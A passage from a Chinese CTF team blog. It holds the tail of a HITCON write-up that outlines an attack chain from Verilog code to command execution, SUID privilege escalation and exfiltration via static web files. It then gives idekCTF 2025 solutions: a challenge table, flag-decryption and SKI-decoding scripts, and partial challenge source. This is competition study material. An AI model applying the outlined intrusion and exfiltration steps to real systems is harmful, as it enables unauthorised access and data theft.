id="jian-kong-ceng-mian">监控层面</h3> <ol> <li><strong>文件完整性监控</strong>：监控关键系统文件的修改</li> <li><strong>异常行为检测</strong>：检测非预期的文件访问和系统调用</li> <li><strong>审计日志</strong>：记录所有文件操作和权限提升事件</li> </ol> <hr /> <h2 id="zong-jie">总结</h2> <p>这道题目展现了硬件描述语言环境下的独特攻击面。通过深入分析判题系统的执行流程，发现了从 Verilog 代码到系统命令执行的完整攻击链。关键在于：</p> <ol> <li><strong>理解执行环境</strong>：Icarus Verilog 的功能限制与文件操作能力</li> <li><strong>寻找攻击向量</strong>：从直接命令执行到间接脚本覆盖</li> <li><strong>权限提升利用</strong>：SUID 程序的正确调用方式</li> <li><strong>数据外泄路径</strong>：Web 静态文件服务的巧妙利用</li> </ol> <p>这种多层次的攻击思路体现了现代 CTF 题目的复杂性，需要选手具备从 Web 安全到系统安全的综合能力。</p> <p><strong>Flag</strong>: <code>hitcon{testflag}</code></p>

没人陪我玩

2025-08-09T00:00:00+00:00 2025-08-09T00:00:00+00:00 Normal SubGroup https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/ <p>大家在开赛后临时创号玩的，二进制哥们很忙，于是我们就做了一些别的题，但也遗憾在这里，只靠密码，前 24h 便来到第九名，后续没题可做了</p> <p>最终 22 名，还不错</p> <p>质量不错，也许值 65+ 权重</p> <p>另外，本场比赛遇到不少 Golang 可能遇到的问题，并解决了</p> <blockquote> <p>博客还在调试，图片显示可能存在问题，在寻找一个好用的对象存储</p> </blockquote> <h1 id="idekctf-2025-write-ups-challenge-list">idekCTF 2025 Write-ups / Challenge List</h1> <table><thead><tr><th>#</th><th>Category</th><th>Challenge</th><th>Solved</th><th>Points</th><th>Note</th><th>Attachments</th></tr></thead><tbody> <tr><td>1</td><td>sanity</td><td>check</td><td>774</td><td>100</td><td>sanity check, simply print the flag</td><td>-</td></tr> <tr><td>2</td><td>rev</td><td>constructor</td><td>371</td><td>100</td><td>Zerotistic said “Heard of constructor?”</td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/constructor.tar.gz">constructor.tar.gz</a></td></tr> <tr><td>3</td><td>sanity</td><td>survey</td><td>196</td><td>100</td><td>quick survey for feedback</td><td>-</td></tr> <tr><td>4</td><td>misc</td><td>gacha-gate</td><td>144</td><td>139</td><td><code>nc gacha-gate.chal.idek.team 1337</code></td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/gacha-gate.tar.gz">gacha-gate.tar.gz</a></td></tr> <tr><td>5</td><td>crypto</td><td>Catch</td><td>134</td><td>146</td><td>cat-themed crypto, <code>nc catch.chal.idek.team 1337</code></td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/catch.tar.gz">catch.tar.gz</a></td></tr> <tr><td>6</td><td>rev</td><td>ski</td><td>70</td><td>231</td><td>two interpreters but “using too many resources” (.𖥔 ݁ ˖⋆ ˚❆)</td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/ski.tar.gz">ski.tar.gz</a></td></tr> <tr><td>7</td><td>crypto</td><td>Sadness ECC</td><td>65</td><td>242</td><td>“doesn’t know if it’s an elliptic curve or not”</td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/sad_ecc.tar.gz">sad_ecc.tar.gz</a></td></tr> <tr><td>8</td><td>crypto</td><td>Happy ECC</td><td>58</td><td>259</td><td>opposite of Sadness ECC</td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/happy_ecc.tar.gz">happy_ecc.tar.gz</a></td></tr> <tr><td>9</td><td>web</td><td>*midi visualizer</td><td>38</td><td>320</td><td><a rel="external" href="https://midi-visualizer-web.chal.idek.team">https://midi-visualizer-web.chal.idek.team</a></td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/midi-visualizer.tar.gz">midi-visualizer.tar.gz</a></td></tr> <tr><td>10</td><td>crypto</td><td>Diamond Ticket</td><td>37</td><td>323</td><td>Charles &amp; chocolate factory (harder)</td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/diamond_ticket.tar.gz">diamond_ticket.tar.gz</a></td></tr> <tr><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr> <tr><td>12</td><td>crypto</td><td>Sadness ECC - Revenge</td><td>27</td><td>362</td><td>password = flag from Sadness ECC, <code>nc sad-ecc-revenge.chal.idek.team 1337</code></td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/sad_ecc_revenge.tar.gz">sad_ecc_revenge.tar.gz</a></td></tr> <tr><td>13</td><td>crypto</td><td>Happy ECC - Revenge</td><td>26</td><td>367</td><td>password = flag from Happy ECC</td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/happy_ecc_revenge.tar.gz">happy_ecc_revenge.tar.gz</a></td></tr> <tr><td>16</td><td>crypto</td><td>FITM</td><td>17</td><td>409</td><td>“Let me share it for you”, <code>nc fitm.chal.idek.team 1337</code></td><td><a href="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/FITM.tar.gz">FITM.tar.gz</a></td></tr> </tbody></table> <blockquote> <p>题目名称前带 <code>*</code> 的为赛后做出的</p> </blockquote> <h1 id="sanity">sanity</h1> <h2 id="check">check</h2> <p>签到</p> <h2 id="survey">survey</h2> <p>问卷</p> <h1 id="rev">rev</h1> <h2 id="constructor">constructor</h2> <p>静态分析</p> <p>$\text{decrypted}[i] = \text{encrypted}[i] \bigoplus (i * \text{0x1f}) \bigoplus (i &gt;&gt; 1) \bigoplus \text{0x5a}$</p> <blockquote> <p>i * 0x1f 的计算结果会发生溢出，我们只需取其低8位即可，这和寄存器 cl 的行为一致</p> </blockquote> <p>随后导出加密数据</p> <blockquote> <p>使用 <code>dd</code> 导出 42 byte</p> </blockquote> <pre class="giallo z-code"><code data-lang="shellscript"><span class="giallo-l"><span class="z-entity z-name z-function">dd</span><span class="z-string"> if=./chall bs=</span><span class="z-constant z-numeric">1</span><span class="z-string"> skip=</span><span class="z-punctuation">$((</span><span class="z-entity z-name z-function">0x3040</span><span class="z-punctuation">))</span><span class="z-string"> count=</span><span class="z-constant z-numeric">42</span><span class="z-keyword z-operator"> 2&gt;</span><span class="z-string">/dev/null</span><span class="z-keyword z-operator"> |</span><span class="z-entity z-name z-function"> xxd</span><span class="z-string"> -i</span></span></code></pre><h3 id="exploit">Exploit</h3> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> solve_flag</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-string"> Applies the decryption algorithm found in the binary&#39;s constructor</span></span> <span class="giallo-l"><span class="z-string"> function to the extracted data.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The 42 encrypted bytes from address 0x403040</span></span> <span class="giallo-l"><span class="z-source"> encrypted_flag</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span></span> <span class="giallo-l"><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">33</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">21</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">00</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">6d</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">5f</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">ab</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">86</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">b4</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">d4</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">2d</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">36</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">3a</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">4e</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">90</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">8c</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">e3</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">cc</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">2e</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">09</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">6c</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">49</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">b8</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">8f</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">f7</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">cc</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">22</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">4e</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">4d</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">5e</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">b8</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">80</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">cb</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">d3</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">da</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">20</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">29</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">70</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">02</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">b7</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">d1</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">b7</span><span class="z-punctuation">,</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">c4</span></span> <span class="giallo-l"><span class="z-punctuation"> ]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> decrypted_flag</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string"> &quot;&quot;</span></span> <span class="giallo-l"><span class="z-source"> mask32</span><span class="z-keyword z-operator"> =</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">FFFFFFFF</span><span class="z-punctuation z-definition z-comment z-comment"> # Used to simulate 32-bit register behavior</span></span> <span class="giallo-l"><span class="z-source"> key1_register</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation z-definition z-comment z-comment"> # Simulates the %ecx register</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">42</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The encrypted byte is loaded into the low part of a 32-bit register</span></span> <span class="giallo-l"><span class="z-source"> encrypted_word</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-indexed-name z-python"> encrypted_flag</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">i</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Key 1: The full 32-bit value of the %ecx register</span></span> <span class="giallo-l"><span class="z-source"> key1</span><span class="z-keyword z-operator"> =</span><span class="z-source"> key1_register</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Key 2: The loop counter right-shifted by 1</span></span> <span class="giallo-l"><span class="z-source"> key2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> i</span><span class="z-keyword z-operator"> &gt;&gt;</span><span class="z-constant z-numeric"> 1</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # constant</span></span> <span class="giallo-l"><span class="z-source"> key3</span><span class="z-keyword z-operator"> =</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">5a</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The decryption emulates the 32-bit &#39;xorl&#39; operations</span></span> <span class="giallo-l"><span class="z-source"> decrypted_word</span><span class="z-keyword z-operator"> =</span><span class="z-source"> encrypted_word</span><span class="z-keyword z-operator"> ^</span><span class="z-source"> key1</span><span class="z-keyword z-operator"> ^</span><span class="z-source"> key2</span><span class="z-keyword z-operator"> ^</span><span class="z-source"> key3</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The final character is the lowest byte of the result</span></span> <span class="giallo-l"><span class="z-source"> decrypted_byte</span><span class="z-keyword z-operator"> =</span><span class="z-source"> decrypted_word</span><span class="z-keyword z-operator"> &amp;</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">FF</span></span> <span class="giallo-l"><span class="z-source"> decrypted_flag</span><span class="z-keyword z-operator"> +=</span><span class="z-support z-function z-builtin z-python"> chr</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">decrypted_byte</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The %ecx register is incremented for the next loop</span></span> <span class="giallo-l"><span class="z-source"> key1_register</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> (</span><span class="z-source">key1_register</span><span class="z-keyword z-operator"> +</span><span class="z-storage z-type"> 0x</span><span class="z-constant z-numeric">1f</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &amp;</span><span class="z-source"> mask32</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> decrypted_flag</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">final_flag</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> solve_flag</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Decrypted Flag: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">final_flag</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span></code></pre><h2 id="ski">ski</h2> <blockquote> <p>又出现和 CryptoCTF 类似的情况，正规子群 CN 分群看了好几次都没做出来，越南老哥薄纱了</p> </blockquote> <p>Given a SKI combinator program (program.txt) and an interpreter, the challenge encodes the flag as bits, mapping each bit to a variable (_F0, _F1, …). Each _F{i} is set to K if the bit is 1, or (K I) if 0.</p> <p>The SKI expression is a sequence of similar blocks, each containing several _F… variables. The number of _F… variables in each block corresponds to a specific bit pattern.</p> <p>focus on the final part of <code>txt</code> file from here: <code>(((S ((S I) (K (K I)))) (K K)) _F0)) _F1)) _F2))...</code></p> <p>Each check block has the form (((S ((S I) (K (K I)))) (K K)) … ) and inside, the number of _F… variables determines the bit pattern to check:</p> <ul> <li>1 variable: checks for bit pattern 0</li> <li>2 variables: checks for 01</li> <li>3 variables: checks for 011</li> <li>4 variables: checks for 0111 etc.</li> </ul> <p>script:</p> <h3 id="exploit-1">Exploit</h3> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> re</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">data</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> open</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;program.txt&quot;</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">read</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source">segments</span><span class="z-keyword z-operator"> =</span><span class="z-source"> re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">split</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin z-constant z-character z-escape">&quot;\(\(\(</span><span class="z-string">S</span><span class="z-punctuation z-definition z-string z-end">&quot;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> data</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">pattern_map</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> {</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &quot;0&quot;</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &quot;01&quot;</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 3</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &quot;011&quot;</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 4</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &quot;0111&quot;</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 5</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &quot;01111&quot;</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 6</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &quot;011111&quot;</span><span class="z-punctuation">}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">bits</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string"> &quot;&quot;</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">join</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">pattern_map</span><span class="z-punctuation">[</span><span class="z-support z-function z-builtin z-python">len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">findall</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin">&quot;</span><span class="z-string">_F\d</span><span class="z-keyword z-operator z-quantifier z-regexp">+</span><span class="z-punctuation z-definition z-string z-end">&quot;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> seg</span><span class="z-punctuation">))]</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-meta z-function-call z-arguments z-python"> seg</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-meta z-function-call z-arguments z-python"> segments</span><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-meta z-function-call z-arguments z-python"> re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">findall</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin">&quot;</span><span class="z-string">_F\d</span><span class="z-keyword z-operator z-quantifier z-regexp">+</span><span class="z-punctuation z-definition z-string z-end">&quot;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> seg</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source">flag</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string"> &quot;&quot;</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">join</span><span class="z-punctuation">(</span><span class="z-support z-function z-builtin z-python">chr</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">int</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">bits</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">i</span><span class="z-punctuation">:</span><span class="z-meta z-item-access z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">8</span><span class="z-punctuation">],</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation">))</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-meta z-function-call z-arguments z-python"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">,</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">bits</span><span class="z-punctuation">),</span><span class="z-constant z-numeric"> 8</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">bits</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">i</span><span class="z-punctuation">:</span><span class="z-meta z-item-access z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">8</span><span class="z-punctuation">])</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 8</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">flag</span><span class="z-punctuation">)</span></span></code></pre><h1 id="misc">misc</h1> <h2 id="gacha-gate">gacha-gate</h2> <p>题目</p> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#!/usr/bin/env python3</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> contextlib</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> os</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> random</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> re</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> signal</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> sys</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> z3</span><span class="z-keyword"> import</span><span class="z-source"> ArithRef</span><span class="z-punctuation">,</span><span class="z-source"> BitVec</span><span class="z-punctuation">,</span><span class="z-source"> BitVecRef</span><span class="z-punctuation">,</span><span class="z-source"> BitVecVal</span><span class="z-punctuation">,</span><span class="z-source"> Solver</span><span class="z-punctuation">,</span><span class="z-source"> simplify</span><span class="z-punctuation">,</span><span class="z-source"> unsat</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">WIDTH</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 32</span></span> <span class="giallo-l"><span class="z-source">OPS</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-punctuation z-definition z-string z-string">&#39;~&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;&amp;&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;^&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;|&#39;</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source">MAX_DEPTH</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 10</span></span> <span class="giallo-l"><span class="z-source">FLAG</span><span class="z-keyword z-operator"> =</span><span class="z-source"> os</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">getenv</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;FLAG&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;idek</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{fake_flag}</span><span class="z-punctuation z-definition z-string">&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">VARS</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> set</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;iIl&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> rnd_const</span><span class="z-punctuation">() -&gt;</span><span class="z-meta z-indexed-name z-python"> tuple</span><span class="z-punctuation">[</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">,</span><span class="z-meta z-item-access z-python"> BitVecRef</span><span class="z-punctuation">]:</span></span> <span class="giallo-l"><span class="z-source"> v</span><span class="z-keyword z-operator"> =</span><span class="z-source"> random</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">getrandbits</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">WIDTH</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-support z-type z-python"> str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">v</span><span class="z-punctuation">),</span><span class="z-meta z-function-call z-python"> BitVecVal</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">v</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> WIDTH</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> rnd_var</span><span class="z-punctuation">() -&gt;</span><span class="z-meta z-indexed-name z-python"> tuple</span><span class="z-punctuation">[</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">,</span><span class="z-meta z-item-access z-python"> BitVecRef</span><span class="z-punctuation">]:</span></span> <span class="giallo-l"><span class="z-source"> name</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string"> &#39;&#39;</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">join</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">random</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">choices</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">tuple</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">VARS</span><span class="z-punctuation">),</span><span class="z-variable z-parameter"> k</span><span class="z-keyword z-operator">=</span><span class="z-constant z-numeric">10</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> name</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-python"> BitVec</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">name</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> WIDTH</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> combine</span><span class="z-punctuation">(</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> op</span><span class="z-punctuation">:</span><span class="z-support z-type z-python"> str</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> left</span><span class="z-punctuation">:</span><span class="z-meta z-indexed-name z-python"> tuple</span><span class="z-punctuation">[</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">,</span><span class="z-meta z-item-access z-python"> BitVecRef</span><span class="z-punctuation">],</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> right</span><span class="z-punctuation">:</span><span class="z-meta z-indexed-name z-python"> tuple</span><span class="z-punctuation">[</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">,</span><span class="z-meta z-item-access z-python"> BitVecRef</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> |</span><span class="z-constant z-language z-python"> None</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-language z-python"> None</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-punctuation">) -&gt;</span><span class="z-meta z-indexed-name z-python"> tuple</span><span class="z-punctuation">[</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">,</span><span class="z-meta z-item-access z-python"> ArithRef</span><span class="z-punctuation">]:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> op</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;~&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> s_left</span><span class="z-punctuation">,</span><span class="z-source"> z_left</span><span 